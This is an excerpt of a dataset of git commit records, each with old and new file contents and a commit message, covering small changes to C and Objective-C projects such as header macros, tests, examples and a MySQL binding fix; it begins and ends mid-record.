warnings\n","lang":"C","license":"mit","repos":"eco\/cpp-ethereum,ethers\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,programonauta\/webthree-umbrella,smartbitcoin\/cpp-ethereum,xeddmc\/cpp-ethereum,d-das\/cpp-ethereum,anthony-cros\/cpp-ethereum,d-das\/cpp-ethereum,ethers\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-project\/cpp-expanse,PaulGrey30\/go-get--u-github.com-tools-godep,Sorceror32\/go-get--u-github.com-tools-godep,LefterisJP\/cpp-ethereum,gluk256\/cpp-ethereum,xeddmc\/cpp-ethereum,smartbitcoin\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-org\/cpp-expanse,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,LefterisJP\/webthree-umbrella,anthony-cros\/cpp-ethereum,d-das\/cpp-ethereum,gluk256\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,eco\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-project\/cpp-expanse,LefterisJP\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,smartbitcoin\/cpp-ethereum,subtly\/cpp-ethereum-micro,eco\/cpp-ethereum,vaporry\/cpp-ethereum,vaporry\/cpp-ethereum,vaporry\/cpp-ethereum,joeldo\/cpp-ethereum,vaporry\/evmjit,xeddmc\/cpp-ethereum,johnpeter66\/ethminer,Sorceror32\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,gluk256\/cpp-ethereum,vaporry\/cpp-ethereum,joeldo\/cpp-ethereum,karek314\/cpp-ethereum,xeddmc\/cpp-ethereum,programonauta\/webthree-umbrella,johnpeter66\/ethminer,karek314\/cpp-ethereum,karek314\/cpp-ethereum,vaporry\/webthree-umbrella,karek314\/cpp-ethereum,ethers\/cpp-ethereum,yann300\/cpp-ethereum,yann300\/cpp-ethereum,smartbitcoin\/cpp-ethereum,LefterisJP\/cpp-ethereum,gluk256\/cpp-ethereum,expanse-project\/cpp-expanse,karek314\/cpp-ethereum,eco\/cpp-ethereum,expanse-org\/cpp-expanse,joeldo\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,anthony-cros\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,chfast\/webthree-umbrella,expanse-project\/cpp-expanse,vaporry\/cpp-ethereum,smartbitcoin\/cpp-ethereum,expanse-project\/cpp-expanse,gluk256\/cpp-ethereum,vaporry\/cpp-ethereum,d-das\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,expanse-org\/cpp-expanse,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,johnpeter66\/ethminer,Sorceror32\/go-get--u-github.com-tools-godep,d-das\/cpp-ethereum,vaporry\/evmjit,yann300\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,subtly\/cpp-ethereum-micro,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/cpp-ethereum,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,anthony-cros\/cpp-ethereum,expanse-org\/cpp-expanse,eco\/cpp-ethereum,expanse-project\/cpp-expanse,anthony-cros\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,smartbitcoin\/cpp-ethereum,arkpar\/webthree-umbrella,LefterisJP\/cpp-ethereum,yann300\/cpp-ethereum,joeldo\/cpp-ethereum,gluk256\/cpp-ethereum,subtly\/cpp-ethereum-micro,LefterisJP\/webthree-umbrella,subtly\/cpp-ethereum-micro,ethers\/cpp-ethereum,yann300\/cpp-ethereum,yann300\/cpp-ethereum,expanse-org\/cpp-expanse,anthony-cros\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,d-das\/cpp-ethereum"}
{"commit":"c3f8f27d6f50022cfdf8c77e1a9d483dc9385209","old_file":"ext\/krypt\/core\/krypt-os.h","new_file":"ext\/krypt\/core\/krypt-os.h","old_contents":"\/*\n* krypt-core API - C version\n*\n* Copyright (C) 2011\n* Hiroshi Nakamura <nahi@ruby-lang.org>\n* Martin Bosslet <martin.bosslet@googlemail.com>\n* All rights reserved.\n*\n* This software is distributed under the same license as Ruby.\n* See the file 'LICENSE' for further details.\n*\/\n\n#if !defined(_KRYPT_OS_H_)\n#define _KRYPT_OS_H_\n\n#ifdef WIN32\n#define krypt_last_sys_error()\tGetLastError()\n#define krypt_clear_sys_error()\tSetLastError(0)\n#else\n#define krypt_last_sys_error()\terrno\n#define krypt_clear_sys_error()\terrno=0\n#endif\n\n#endif \/* _KRYPT_OS_H_ *\/\n","new_contents":"\/*\n* krypt-core API - C version\n*\n* Copyright (C) 2011\n* Hiroshi Nakamura <nahi@ruby-lang.org>\n* Martin Bosslet <martin.bosslet@googlemail.com>\n* All rights reserved.\n*\n* This software is distributed under the same license as Ruby.\n* See the file 'LICENSE' for further details.\n*\/\n\n#if !defined(_KRYPT_OS_H_)\n#define _KRYPT_OS_H_\n\n#ifdef _WIN32\n#define krypt_last_sys_error()\tGetLastError()\n#define krypt_clear_sys_error()\tSetLastError(0)\n#else\n#define krypt_last_sys_error()\terrno\n#define krypt_clear_sys_error()\terrno=0\n#endif\n\n#endif \/* _KRYPT_OS_H_ *\/\n","subject":"Use _WIN32 macro instead of WIN32","message":"Use _WIN32 macro instead of WIN32\n\n_WIN32 is the official macro described in MSDN:\n\nhttp:\/\/msdn.microsoft.com\/en-us\/library\/b0084kay.aspx\n\n(under Microsoft-Specific Predefined Macros)\n","lang":"C","license":"mit","repos":"emboss\/krypt-core-c,emboss\/krypt-core-c"}
{"commit":"a76299e7c2f435bb5f4fe58b2a19d18892774774","old_file":"src\/boardValue.h","new_file":"src\/boardValue.h","old_contents":"#ifndef __BOARDVALUE\n#define __BOARDVALUE\n\n#include \"playerValue.h\"\n\nenum BoardPieceValue {Empty, O, X};\n\nclass BoardValue\n{\n  public:\n  \n  BoardValue(BoardPieceValue boardPieceValue)\n  {\n    set(boardPieceValue);\n  }\n  \n  friend bool operator== (const BoardValue & left, const BoardValue & right)\n  {\n    return left.boardPieceValue == right.boardPieceValue && left.playerValue == right.playerValue;\n  }\n  \n  friend bool operator!= (const BoardValue & left, const BoardValue & right)\n  {\n    return left.boardPieceValue != right.boardPieceValue || left.playerValue != right.playerValue;\n  }\n  \n  void set(BoardPieceValue boardPieceValue)\n  {\n    this->boardPieceValue = boardPieceValue;\n    if (boardPieceValue == BoardPieceValue::O)\n    {\n      this->playerValueSet = true;\n      this->playerValue = PlayerValue::PlayerOne;\n    }\n    else if (boardPieceValue == BoardPieceValue::X) this->playerValue = PlayerValue::PlayerTwo;\n  }\n  \n  bool isEmpty()\n  {\n    return this->boardPieceValue == BoardPieceValue::Empty;\n  }\n  \n  bool isPlayerBoardValue(const PlayerValue & playerValue)\n  {\n    return this->playerValue == playerValue;\n  }\n  \n  private:\n  \n  bool boardPieceValueSet = false, playerValueSet = false;\n  \n  BoardPieceValue boardPieceValue;\n  PlayerValue playerValue;\n}\n\n#endif","new_contents":"#ifndef __BOARDVALUE\n#define __BOARDVALUE\n\nenum BoardValue {Empty, O, X};\n\n#endif","subject":"Revert \"Started work to board value class\"","message":"Revert \"Started work to board value class\"\n\nThis reverts commit ee19a31e31a15b020acce6e0200489a144858427.\n","lang":"C","license":"mit","repos":"davidjpfeiffer\/tic-tac-toe,davidjpfeiffer\/tic-tac-toe"}
{"commit":"b393a83d380d460542b816c35873f6e5eaabb395","old_file":"example\/ex11-json-net.c","new_file":"example\/ex11-json-net.c","old_contents":"","new_contents":"\/\/ Based on https:\/\/github.com\/nanopb\/nanopb\/blob\/master\/examples\/simple\/simple.c\n#include <stdio.h>\n\n#include \"m-serial-json.h\"\n#include \"m-tuple.h\"\n#include \"m-string.h\"\n\n\/\/ Define a structure with one field\nTUPLE_DEF2(SimpleMessage,\n           (lucky_number, int))\n\nint main(void)\n{\n  string_t buffer;\n  m_serial_return_code_t status;\n\n  string_init(buffer);\n  \/* Encode our message *\/\n  {\n    SimpleMessage_t message;\n    SimpleMessage_init(message);\n    \n    \/* Create a stream that will write to our buffer. *\/\n    m_serial_str_json_write_t stream;\n    m_serial_str_json_write_init(stream, buffer);\n        \n    \/* Fill in the lucky number *\/\n    message->lucky_number = 13;\n        \n    \/* Now we are ready to encode the message! *\/\n    status = SimpleMessage_out_serial(stream, message);\n    \n    \/* Then just check for any errors.. *\/\n    if (status != M_SERIAL_OK_DONE)\n      {\n        printf(\"Encoding failed: %d\\n\", status);\n        return 1;\n      }\n\n    \/* Clear the objets *\/\n    m_serial_str_json_write_clear(stream);\n    SimpleMessage_clear(message);\n  }\n  \n  \/* Now we could transmit the message over network, store it in a file\n   * but we are doing it right now.\n   *\/\n  \n  {\n    \/* Allocate another space for the decoded message. *\/\n    SimpleMessage_t message;\n    SimpleMessage_init(message);\n    \n    \/* Create a stream that reads from the buffer. *\/\n    m_serial_str_json_read_t stream;\n    m_serial_str_json_read_init(stream, string_get_cstr(buffer));\n    \n    \/* Now we are ready to decode the message. *\/\n    status = SimpleMessage_in_serial(message, stream);\n    \n    \/* Check for errors... *\/\n    if (status != M_SERIAL_OK_DONE)\n      {\n        printf(\"Decoding failed: %d\\n\", status);\n        return 1;\n      }\n    \n    \/* Print the data contained in the message. *\/\n    printf(\"Your lucky number was %d!\\n\", message->lucky_number);\n\n    \/* Clear the objets *\/\n    m_serial_str_json_read_clear(stream);\n    SimpleMessage_clear(message);\n  }\n\n  string_clear(buffer);\n  \n  return 0;\n}\n","subject":"Add example of JSON serialization on string","message":"Add example of JSON serialization on string\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"d4364ca4cd57432f26739fce61e2c4efb463813c","old_file":"tests\/test_numbers.c","new_file":"tests\/test_numbers.c","old_contents":"","new_contents":"int main(int argc, char const *argv[])\n{\n\tGOOD = {\n\t\t0,\n\t\t0.0l,\n\t\t.0,\n\t\t0.f,\n\t\t0UL,\n\t\t0x0ull,\n\t\t7e5,\n\t\t7.3,\n\t\t7.3E+5,\n\t\t7.E+5,\n\t\t.3E+5f,\n\t\t7.3+5,\n\t\t7.3+E,\n\t\t0x73e5f,\n\t\t0x7.3p5f,\n\t\t0x7.3p-5f,\n\t\t0x7p5f,\n\t\t029e3l,\n\n\t\t2,\n\t\t256,\n\t\t0.015625,\n\t\t0.857421875,\n\t\t0x1p-1074,\n\t\t3.1415926,\n\t\t0.1,\n\t\t0x3.334p-5,\n\t\t0xcc.cdp-11,\n\t};\n\n\tBAD = {\n\t\t0x7A.3,\n\t\t0x7A.3E-.5,\n\t\t0x7A.3E-5.,\n\t\t0x7A.3E-5.0,\n\t\t0x7A.,\n\t\t0x7s.,\n\t\t0x7A.p,\n\t\t0x7.3df,\n\t\t0x7.3dl,\n\t\t0x7.3sdsdsdf,\n\t\t0x7.3e1sdf,\n\t\t0x7.3p,\n\t\t0x7.3ppl,\n\t\t0x7s7s7d3.3dsdfsdp1.2df3l,\n\t\t0x7.3,\n\t\t0x7.3p-5u,\n\t\t0x7.3p-5.0,\n\t\t0x7.3p5.0,\n\t\t0x7.3p,\n\t\t0x7.3pe,\n\t\t0x7p,\n\t\t0xp,\n\t\t0x.,\n\t\t0x.p,\n\t\t0x.p1,\n\t\t07.3p5,\n\t\t07.3p+5,\n\t\t07.3e+Du,\n\t\t07.3e+Eu,\n\t\t07.3p+Eu,\n\t\t07.3p1,\n\t\t7e5fu,\n\t\t7.3uf,\n\t\t7f.3u,\n\t\t7f.3f,\n\t\t7f.3fu,\n\t\t7.3uf,\n\t\t0293ull,\n\t\t029e3ull,\n\t\t029f3ull,\n\t\t029g3ull,\n\t\t0293ulql,\n\t\t0xA293sull,\n\t\t0xA29g3ull,\n\t\t0xA293q2ll,\n\t\t0xA293uqll,\n\t\t0xA293ulqlq,\n\t\t29e3ull,\n\t\t29f3ull,\n\t\t29g3ull,\n\t\t293ulql,\n\t\t293ulqlq,\n\t\t0x,\n\t\t0xl,\n\t\t0b,\n\t\t0b1210ul,\n\t\t0b1a10,\n\t\t0b1z10,\n\t};\n}\n","subject":"Add a .c file to test syntax highlighting on","message":"numbers: Add a .c file to test syntax highlighting on\n","lang":"C","license":"mit","repos":"abusalimov\/SublimeCImproved,abusalimov\/SublimeCImproved"}
{"commit":"07c874a9c35c14c0eecae6028a42ad0cb8deed33","old_file":"Source\/PKMacros.h","new_file":"Source\/PKMacros.h","old_contents":"\/\/\n\/\/  PKMacros.h\n\/\/  PKToolBox\n\/\/\n\/\/  Created by Pavel Kunc on 17\/07\/2013.\n\/\/  Copyright (c) 2013 PKToolBox. All rights reserved.\n\/\/\n\n#define PK_NIL_IF_NULL(obj) ((obj == [NSNull null]) ? nil : obj)\n#define PK_NULL_IF_NIL(obj) ((obj == nil) ? [NSNull null] : obj)\n\n#define PK_BOOL_TO_LOCALIZED_STRING(val) ((val == YES) ? NSLocalizedString(@\"Yes\", nil) : NSLocalizedString(@\"No\", nil))\n\n#define PK_IS_WIDESCREEN ( fabs( ( double )[ [ UIScreen mainScreen ] bounds ].size.height - ( double )568 ) < DBL_EPSILON )\n#define PK_IS_IPHONE ( UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone )\n#define PK_IS_IPHONE_5 ( PK_IS_IPHONE && PK_IS_WIDESCREEN )\n\n","new_contents":"\/\/\n\/\/  PKMacros.h\n\/\/  PKToolBox\n\/\/\n\/\/  Created by Pavel Kunc on 17\/07\/2013.\n\/\/  Copyright (c) 2013 PKToolBox. All rights reserved.\n\/\/\n\n#define PK_NIL_IF_NULL(obj) ((obj == [NSNull null]) ? nil : obj)\n#define PK_NULL_IF_NIL(obj) ((obj == nil) ? [NSNull null] : obj)\n\n#define PK_BOOL_TO_LOCALIZED_STRING(val) ((val == YES) ? NSLocalizedString(@\"Yes\", nil) : NSLocalizedString(@\"No\", nil))\n\n#define PK_IS_WIDESCREEN ( fabs( ( double )[ [ UIScreen mainScreen ] bounds ].size.height - ( double )568 ) < DBL_EPSILON )\n#define PK_IS_IPHONE ( UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone )\n#define PK_IS_IPHONE_5 ( PK_IS_IPHONE && PK_IS_WIDESCREEN )\n\n#define PK_IS_IOS7 ( floor(NSFoundationVersionNumber) > NSFoundationVersionNumber_iOS_6_1 )\n\n","subject":"Add new macro to detect iOS7.","message":"Add new macro to detect iOS7.\n","lang":"C","license":"mit","repos":"prajput\/pkCode,pk\/pktoolbox,prajput\/pkCode,pk\/pktoolbox"}
{"commit":"e033589512c3dc34d8c8da6fc9d4a4e7781b7e15","old_file":"test\/simple-count.c","new_file":"test\/simple-count.c","old_contents":"","new_contents":"\n#include <stdlib.h>\n#include \"sphia-test.h\"\n\n#define EXPECTED_TEST_KEYS 1234\n\nstatic void\ntest_count() {\n  for (int i = 0; i < EXPECTED_TEST_KEYS; i++) {\n    char *key = malloc(16);\n    if (NULL == key) {\n      fprintf(stderr, \"Malloc error\\n\");\n      exit(1);\n    }\n    sprintf(key, \"key%03d\", i);\n    assert(0 == sphia_set(sphia, key, \"hello world\"));\n    free(key);\n  }\n  assert(EXPECTED_TEST_KEYS == sphia_count(sphia));\n}\n\nTEST(test_count);\n","subject":"Add a simple test for sphia_count","message":"Add a simple test for sphia_count\n\nJust sets a significantly large number of key\/value paris, then\ncounts them.\n","lang":"C","license":"mit","repos":"sphia\/sphia,sphia\/sphia,sphia\/sphia"}
{"commit":"3da36e955294401bfbbf0294cfda591539b16aad","old_file":"tests\/regression\/31-ikind-aware-ints\/13-intervals-large.c","new_file":"tests\/regression\/31-ikind-aware-ints\/13-intervals-large.c","old_contents":"\/\/PARAM: --enable ana.int.interval --disable ana.int.def_exc --disable ana.int.enums --set ana.octapron.no_signed_overflow false\n#include <assert.h>\n\nint main(){\n    int a = 0;\n\n    \/\/ maximum value for ulonglong\n    unsigned long long x = 18446744073709551615ull;\n    if(x > 18446744073709551612ull){\n        a = 1;\n    }\n    \/\/ The following line should succeed, but is unknown for now\n    assert(a); \/\/ UNKNOWN\n\n    unsigned long long y = x + 4;\n    \/\/ Unsigned overflow -- The following assertion should succeed, but is unknown for now\n    assert(y == 3); \/\/ UNKNOWN\n\n    \/\/ maximum value for long long\n    signed long long s = 9223372036854775807;\n    assert(s > 9223372036854775806);\n\n    signed long long t = s + 2;\n    \/\/ Signed overflow -- The following assertion must be UNKNOWN!\n    assert(t == -9223372036854775807); \/\/ UNKNOWN!\n\n    return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.interval --disable ana.int.def_exc --disable ana.int.enums --set ana.octapron.no_signed_overflow false\n#include <assert.h>\n\nint main(){\n    int a = 0;\n\n    \/\/ maximum value for ulonglong\n    unsigned long long x = 18446744073709551615ull;\n    if(x > 18446744073709551612ull){\n        a = 1;\n    }\n    assert(a);\n\n    unsigned long long y = x + 4;\n    \/\/ Unsigned overflow -- The following assertion should succeed, but is unknown for now\n    assert(y == 3); \/\/ UNKNOWN\n\n    \/\/ maximum value for long long\n    signed long long s = 9223372036854775807;\n    assert(s > 9223372036854775806);\n\n    signed long long t = s + 2;\n    \/\/ Signed overflow -- The following assertion must be UNKNOWN!\n    assert(t == -9223372036854775807); \/\/ UNKNOWN!\n\n    return 0;\n}\n","subject":"Remove unknown from completed assert in 31\/13","message":"Remove unknown from completed assert in 31\/13\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"57ea911da1669b0133aafad1a2d260d57b0c365b","old_file":"tests\/regression\/35-int-refinements\/interval-congruence.c","new_file":"tests\/regression\/35-int-refinements\/interval-congruence.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.int.def_exc --enable ana.int.interval --enable ana.int.congruence\n#include <assert.h>\n\nint main(){\n    int r = -103;\n    for (int i = 0; i < 40; i++) {\n        r = r + 5;\n    }\n    \/\/ At this point r in the congr. dom should be 2 + 5Z\n    int k = r;\n    if (k >= 3) {\n        \/\/ After refinement with congruences, the lower bound should be 7 as the numbers 3 - 6 are not in the congr. class\n        assert (k < 7); \/\/ FAIL\n    }\n\n    if (r >= -11 && r <= -4) {\n        assert (r == -8);\n    }\n    return 0;\n}\n","subject":"Add (deactivated) refinement test for interval\/congruence domain","message":"Add (deactivated) refinement test for interval\/congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"42e9dfcb1f446e22e566195b7cfcbb8518e20980","old_file":"examples\/sensors\/main.c","new_file":"examples\/sensors\/main.c","old_contents":"#include <isl29035.h>\n#include <stdio.h>\n#include <stdbool.h>\n#include <timer.h>\n#include <tmp006.h>\n\nvoid print_intensity(int intensity) {\n  printf(\"Intensity: %d\\n\", intensity);\n}\n\nvoid intensity_cb(int intensity, int unused1, int unused2, void* ud) {\n  print_intensity(intensity);\n}\n\nvoid temp_callback(int temp_value, int err, int unused, void* ud) {\n  printf(\"Current Temp (%d) [0x%X]\\n\", temp_value, err);\n}\n\nvoid timer_fired(int arg0, int arg1, int arg2, void* ud) {\n  isl29035_start_intensity_reading();\n}\n\nint main() {\n  printf(\"Hello\\n\");\n\n  isl29035_subscribe(intensity_cb, NULL);\n  \/\/ Setup periodic timer\n  timer_subscribe(timer_fired, NULL);\n  timer_start_repeating(1000);\n\n  tmp006_start_sampling(0x2, temp_callback, NULL);\n\n  return 0;\n}\n","new_contents":"#include <isl29035.h>\n#include <stdio.h>\n#include <stdbool.h>\n#include <timer.h>\n#include <tmp006.h>\n\nvoid print_intensity(int intensity) {\n  printf(\"Intensity: %d\\n\", intensity);\n}\n\nvoid intensity_cb(int intensity, int unused1, int unused2, void* ud) {\n  print_intensity(intensity);\n}\n\nvoid temp_callback(int temp_value, int err, int unused, void* ud) {\n  printf(\"Current Temp (%d) [0x%X]\\n\", temp_value, err);\n}\n\nvoid timer_fired(int arg0, int arg1, int arg2, void* ud) {\n  isl29035_start_intensity_reading();\n}\n\nint main() {\n  printf(\"Hello\\n\");\n\n  isl29035_subscribe(intensity_cb, NULL);\n  \/\/ Setup periodic timer\n  timer_subscribe(timer_fired, NULL);\n  timer_start_repeating(1000);\n\n  \/\/tmp006_start_sampling(0x2, temp_callback, NULL);\n\n  return 0;\n}\n","subject":"Add isl29035 to Imix board","message":"Add isl29035 to Imix board\n","lang":"C","license":"apache-2.0","repos":"tock\/libtock-c,tock\/libtock-c,tock\/libtock-c"}
{"commit":"550c68cade0cda14cbdf3f05a9d074486da4aa04","old_file":"ext\/mysql2\/mysql2_ext.h","new_file":"ext\/mysql2\/mysql2_ext.h","old_contents":"#ifndef MYSQL2_EXT\n#define MYSQL2_EXT\n\n#include <ruby.h>\n#include <fcntl.h>\n\n#ifdef HAVE_MYSQL_H\n#include <mysql.h>\n#include <mysql_com.h>\n#include <errmsg.h>\n#include <mysqld_error.h>\n#else\n#include <mysql\/mysql.h>\n#include <mysql\/mysql_com.h>\n#include <mysql\/errmsg.h>\n#include <mysql\/mysqld_error.h>\n#endif\n\n#ifdef HAVE_RUBY_ENCODING_H\n#include <ruby\/encoding.h>\n#endif\n\n#if defined(__GNUC__) && (__GNUC__ >= 3)\n#define RB_MYSQL_UNUSED __attribute__ ((unused))\n#else\n#define RB_MYSQL_UNUSED\n#endif\n\n#include <client.h>\n#include <result.h>\n\n#endif\n","new_contents":"#ifndef MYSQL2_EXT\n#define MYSQL2_EXT\n\n#include <ruby.h>\n#include <fcntl.h>\n\n#ifndef HAVE_UINT\n#define HAVE_UINT\ntypedef unsigned short    ushort;\ntypedef unsigned int    uint;\n#endif\n\n#ifdef HAVE_MYSQL_H\n#include <mysql.h>\n#include <mysql_com.h>\n#include <errmsg.h>\n#include <mysqld_error.h>\n#else\n#include <mysql\/mysql.h>\n#include <mysql\/mysql_com.h>\n#include <mysql\/errmsg.h>\n#include <mysql\/mysqld_error.h>\n#endif\n\n#ifdef HAVE_RUBY_ENCODING_H\n#include <ruby\/encoding.h>\n#endif\n\n#if defined(__GNUC__) && (__GNUC__ >= 3)\n#define RB_MYSQL_UNUSED __attribute__ ((unused))\n#else\n#define RB_MYSQL_UNUSED\n#endif\n\n#include <client.h>\n#include <result.h>\n\n#endif\n","subject":"Fix to install with MariDB on Windows","message":"Fix to install with MariDB on Windows\n","lang":"C","license":"mit","repos":"webdev1001\/mysql2,bigcartel\/mysql2,jeremy\/mysql2,JonathonMA\/mysql2,webdev1001\/mysql2,zBMNForks\/mysql2,mkdynamic\/mysql2,tamird\/mysql2,blaind\/mysql2,mkdynamic\/mysql2,PipelineDeals\/mysql2,zmack\/mysql2,yui-knk\/mysql2,jeremy\/mysql2,mkdynamic\/mysql2,zmack\/mysql2,jconroy77\/mysql2,bloopletech\/mysql2,bigcartel\/mysql2,yui-knk\/mysql2,jeremy\/mysql2,marshall-lee\/mysql2,tamird\/mysql2,jconroy77\/mysql2,sodabrew\/mysql2,coupa\/mysql2,brianmario\/mysql2,kamipo\/mysql2,yui-knk\/mysql2,zBMNForks\/mysql2,brianmario\/mysql2,marshall-lee\/mysql2,coupa\/mysql2,sodabrew\/mysql2,mkdynamic\/mysql2,kamipo\/mysql2,bigcartel\/mysql2,modulexcite\/mysql2,kamipo\/mysql2,JonathonMA\/mysql2,yui-knk\/mysql2,kamipo\/mysql2,modulexcite\/mysql2,marshall-lee\/mysql2,sodabrew\/mysql2,bloopletech\/mysql2,modulexcite\/mysql2,brianmario\/mysql2,neovintage\/mysql2,PipelineDeals\/mysql2,neovintage\/mysql2,jconroy77\/mysql2,dylanahsmith\/mysql2,PipelineDeals\/mysql2,PipelineDeals\/mysql2,webdev1001\/mysql2,zmack\/mysql2,jconroy77\/mysql2,modulexcite\/mysql2,zBMNForks\/mysql2,tamird\/mysql2,dylanahsmith\/mysql2,zmack\/mysql2,webdev1001\/mysql2,blaind\/mysql2,marshall-lee\/mysql2,zBMNForks\/mysql2,tamird\/mysql2,bigcartel\/mysql2"}
{"commit":"4f10cf9c74d54edbb0370d7b2e8899b6015f60d4","old_file":"WebApiClient\/Code\/WebApiClient-AFNetworking\/AFNetworkingWebApiClient.h","new_file":"WebApiClient\/Code\/WebApiClient-AFNetworking\/AFNetworkingWebApiClient.h","old_contents":"\/\/\n\/\/  AFNetworkingWebApiClient.h\n\/\/  WebApiClient\n\/\/\n\/\/  Created by Matt on 12\/08\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import \"WebApiClientSupport.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol AFURLResponseSerialization;\n\n\/**\n Implementation of @c WebApiClient using AFNetworking with NSURLSessionManager.\n \n @b Note: the @c blockingRequestAPI:withPathVariables:parameters:data:maximumWait:error: method uses\n          background threads to complete the HTTP request. It simply blocks the calling thread and\n          waits for the background work to complete.\n *\/\n@interface AFNetworkingWebApiClient : WebApiClientSupport\n\n\/** A URL response serialization object to use. This will default to one that accepts any type of data. *\/\n@property (nonatomic, strong) id<AFURLResponseSerialization> responseSerializer;\n\n\/** An array of active task identifiers, as @c NSNumber instances. *\/\n@property (nonatomic, readonly) NSArray *activeTaskIdentifiers;\n\n\/**\n Get a route associated with an active task identifer.\n \n @param identifier The @c NSURLSessionTask identifier to get the route for.\n @return The route associated with the identifier, or @c nil if not available.\n @see activeTaskIdentifiers\n *\/\n- (id<WebApiRoute>)routeForActiveTaskIdentifier:(NSUInteger)identifier;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  AFNetworkingWebApiClient.h\n\/\/  WebApiClient\n\/\/\n\/\/  Created by Matt on 12\/08\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import \"WebApiClientSupport.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@protocol AFURLResponseSerialization;\n\n\/**\n Implementation of @c WebApiClient using AFNetworking with NSURLSessionManager.\n \n @b Note: the @c blockingRequestAPI:withPathVariables:parameters:data:maximumWait:error: method uses\n          background threads to complete the HTTP request. It simply blocks the calling thread and\n          waits for the background work to complete.\n *\/\n@interface AFNetworkingWebApiClient : WebApiClientSupport\n\n\/** A URL response serialization object to use. This will default to one that accepts any type of data. *\/\n@property (nonatomic, strong) id<AFURLResponseSerialization> responseSerializer;\n\n\/** An array of active task identifiers, as @c NSNumber instances. *\/\n@property (nonatomic, readonly) NSArray<NSNumber *> *activeTaskIdentifiers;\n\n\/**\n Get a route associated with an active task identifer.\n \n @param identifier The @c NSURLSessionTask identifier to get the route for.\n @return The route associated with the identifier, or @c nil if not available.\n @see activeTaskIdentifiers\n *\/\n- (id<WebApiRoute>)routeForActiveTaskIdentifier:(NSUInteger)identifier;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add generic definition to identifier array.","message":"Add generic definition to identifier array.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/WebApiClient,Blue-Rocket\/WebApiClient"}
{"commit":"c62af27fdf1ffd59a9f245ecda6ed6f39a258856","old_file":"main.c","new_file":"main.c","old_contents":"\/\/ Copyright (c) 2016 LEGOAnimal22\n\n#include <stdio.h>\n#include <inttypes.h>\n#include \"electron.h\"\n\nint main() {\n  printf(\"Periodic Table by LEGOAnimal22\\n\");\n\n  electron_config carbon = create_electron_config(6);\n  printf(\"%d, %d, %d, %d\\n\", carbon.atomic_number, carbon.highest_energy_level, carbon.valence_electrons, carbon.charge);\n\n  electron_config gold = create_electron_config(79);\n  printf(\"%d, %d, %d, %d\\n\", gold.atomic_number, gold.highest_energy_level, gold.valence_electrons, gold.charge);\n\n  electron_config radon = create_electron_config(86);\n  printf(\"%d, %d, %d, %d\\n\", radon.atomic_number, radon.highest_energy_level, radon.valence_electrons, radon.charge);\n\n  \/\/ (((atomic_number - 54) > 2) ? 2 : (atomic_number - 54)) + ((atomic_number > 80) ? (atomic_number - 80) : 0)\n  printf(\"%d\\n\", (((86 - 54) > 2) ? 2 : (86 - 54)));\n  printf(\"%d\\n\", ((86 > 80) ? (86 - 80) : 0));\n\n  return 1;\n}\n","new_contents":"\/\/ Copyright (c) 2016 LEGOAnimal22\n\n#include <stdio.h>\n#include <inttypes.h>\n#include \"electron.h\"\n\nint main() {\n  printf(\"Periodic Table by LEGOAnimal22\\n\");\n\n  electron_config carbon = create_electron_config(6);\n  printf(\"%d, %d, %d, %d\\n\", carbon.atomic_number, carbon.highest_energy_level, carbon.valence_electrons, carbon.charge);\n\n  electron_config gold = create_electron_config(79);\n  printf(\"%d, %d, %d, %d\\n\", gold.atomic_number, gold.highest_energy_level, gold.valence_electrons, gold.charge);\n\n  electron_config radon = create_electron_config(86);\n  printf(\"%d, %d, %d, %d\\n\", radon.atomic_number, radon.highest_energy_level, radon.valence_electrons, radon.charge);\n\n  \/\/ (((atomic_number - 54) > 2) ? 2 : 